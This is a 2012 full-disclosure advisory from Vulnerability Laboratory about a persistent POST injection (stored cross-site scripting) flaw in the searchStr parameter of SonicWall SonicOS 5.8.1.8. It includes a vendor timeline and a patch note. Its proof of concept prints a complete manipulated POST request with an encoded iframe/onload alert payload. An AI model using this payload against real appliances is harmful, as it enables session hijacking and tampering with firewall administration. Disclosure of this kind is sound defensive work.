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[Full-disclosure] SonicWall SonicOS 5.8.1.8 WAF - POST Inject Vulnerability



Title:
======
SonicWall SonicOS 5.8.1.8 WAF - POST Inject Vulnerability


Date:
=====
2012-12-18


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=769

Sonicwall Bug ID [SBID]: 123995


VL-ID:
=====
769


Common Vulnerability Scoring System:
====================================
3.5


Introduction:
=============
The Dell® SonicWALL® Network Security Appliance (NSA) Series combines the 
patented Dell SonicWALL Reassembly 
Free Deep Packet Inspection™ (RFDPI) engine with a powerful and massively 
scalable multi-core architecture to 
deliver intrusion prevention, gateway anti-virus, gateway anti-spyware, and 
application intelligence and control 
for businesses of all sizes. By integrating automated and dynamic security 
capabilities into a single platform, 
the NSA Series provides comprehensive Next-Generation Firewall protection 
without compromising performance. 

(Copy of the Vendor Homepage: 
http://www.sonicwall.com/us/en/products/NSA_Series.html)


Abstract:
=========
The Vulnerability Laboratory Research Team discovered a web vulnerability in 
the official DELL Sonicwall SonicOS v5.8.1.8 Firewall Series Appliance 
Application.


Report-Timeline:
================
2012-11-18:     Researcher Notification & Coordination
2012-11-20:     Vendor Notification
2012-11-20:     Vendor Response/Feedback
2012-12-04:     Vendor Fix/Patch (SonicOS 5.8.1.9)
2012-12-18:     Public Disclosure


Status:
========
Published


Affected Products:
==================
DELL
Product: Sonicwall SonicOS v5.8.1.8


Exploitation-Technique:
=======================
Remote


Severity:
=========
Medium


Details:
========
A persistent POST Injection (input validation) vulnerability is detected in the 
official DELL Sonicwall SonicOS v5.8.1.8 Firewall Series Appliance Application.
The vulnerability typus allows an attacker to inject via POST request own 
malicious script code in the vulnerable module on application side (persistent).

The vulnerability is located in the Firewall > Match Object  > Edit Match 
Object section when processing to request via the `Search > appFirewallObjects` 
module the bound vulnerable [searchStr] application parameter. The persistent 
injected script code will be executed  out of the searchstr name listing 
web application context.

The bug can be exploited with a low (restricted) privileged application user 
account and low required user inter action. Successful exploitation of 
the vulnerability result in persistent session hijacking, persistent phishing, 
external redirect, external malware loads and persistent vulnerable 
module context manipulation.

Vulnerable Section(s):
                                [+] Firewall > Match Object  > Edit Match Object

Vulnerable Module(s):
                                [+] Search > appFirewallObjects

Vulnerable Parameter(s):
                                [+] [searchStr] - Name Listing


Proof of Concept:
=================
The persistent post injection vulnerability can be exploited by remote 
attackers with low privileged application user account and 
low required user interaction. For demonstration or reproduce ...


Review: appFirewallObjects > searchStr

csrfToken=benjamin1337
inputxml=<dbInfo><dbInfoRequest><pageId>appFirewallObjects</pageId><tableType>157</tableType><viewType>table</viewType>
<cmd>get</cmd><sort>false</sort><searchStr><[PROVOKE 
EXCEPTION]>%20%20%20%20"><[PERSISTENT INJECTED SCRIPT CODE!]") 
<</searchStr></dbInfoRequest></dbInfo>


--- POST REQUEST FULL (MANIPULATED!) ---
Host=realtime.pentest.server.com
User-Agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 
Firefox/16.0
Accept=application/json, 
text/javascript, */*
Accept-Language=de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding=gzip, deflate
DNT=1
Connection=keep-alive
Content-Type=
application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With=XMLHttpRequest
Referer=https://realtime.pentest.server.com/appFirewallObjects.html?
sortCol=1&sortInverted=0.html
Content-Length=475
Cookie=__utma=31673917.1419029853.1353291737.1353291737.1353374336.2; 
__utmz=31673917.1353374336.2.2.utmcsr=livedemo.sonicwall.com|utmccn=(referral)|utmcmd=referral|

utmcct=/demo/demo.html; 
__utma=227649090.369226766.1353295036.1353295036.1353295036.1; 

__utmz=227649090.1353295036.1.1.utmcsr=esserver.realtime.pentest.server.com|utmccn=(referral)|
utmcmd=referral|utmcct=/settings_branding.html; 
__utmv=227649090.|1=User%3AUnkown=Unknown=1; s_vi=[CS]v1|

2854D261051D029D-40000106800133DF[CE]; 
__utmb=31673917.32.10.1353374336; __utmc=31673917; s_cc=true; 
s_sq=%5B%5BB%5D%5D; curUrl=appFirewallObjects.html

%3FsortCol%3D1%26sortInverted%3D0.html; 
curUsr=; 1008=2; 1021=600; 1023=10; 1024=5; 1031=0; 1032=0; 1033=0; 1034=0; 
1035=0; 1040=4; 1041=1; 1042=0; 1043=0; 

1044=0; 1045=0; 1022=true; 
1007=applFolder; 2103=appFolderId
Pragma=no-cache
Cache-Control=no-cache
POSTDATA=csrfToken=benjamin1337&inputxml=

%3CdbInfo%3E%3CdbInfoRequest%3E%3CpageId%3E
appFirewallObjects%3C%2FpageId%3E%3CtableType%3E157%3C%2FtableType%3E%3CviewType%3Etable%3C%2FviewType%3E%3Ccmd
%3Eget%3C%2Fcmd%3E%3Csort%3Efalse
%3C%2Fsort%3E%3CsearchStr%3E%3Ciframe+src%3Da%3E%2520%2520%2520%2520%22%3E%3Ciframe+src%3Da+onload%3Dalert(%22VL
%22)+%3C+%3Ciframe+src%3Da%3E
%2520%2520%2520%2520%22%3E%3Ciframe+src%3Da+onload%3Dalert(%22VL%22)+%3C%3C%2FsearchStr%3E%3C%2FdbInfoRequest%3E%3C
%2FdbInfo%3E


Reference(s):
https://firewall.127.0.0.1:31337/dbselect.cgi
https://2400mx.127.0.0.1:31337/dbselect.cgi


Solution:
=========
The vulnerability can be patch by parsing the name listing searchStr web 
application parameter request.

2012-12-04:     Vendor Fix/Patch - Update or Upgrade your Sonicwall SonicOS 
v5.8.1.8 to v5.8.1.9 [Customer Area].


Risk:
=====
The secuirty risk of the post injection web vulnerability is estimated as 
medium.


Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri 
(bkm@xxxxxxxxxxxxxxxxxxxxx)


Disclaimer:
===========
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may not apply. We do not approve or encourage anybody to break any vendor 
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                                        Copyright © 2012 | Vulnerability 
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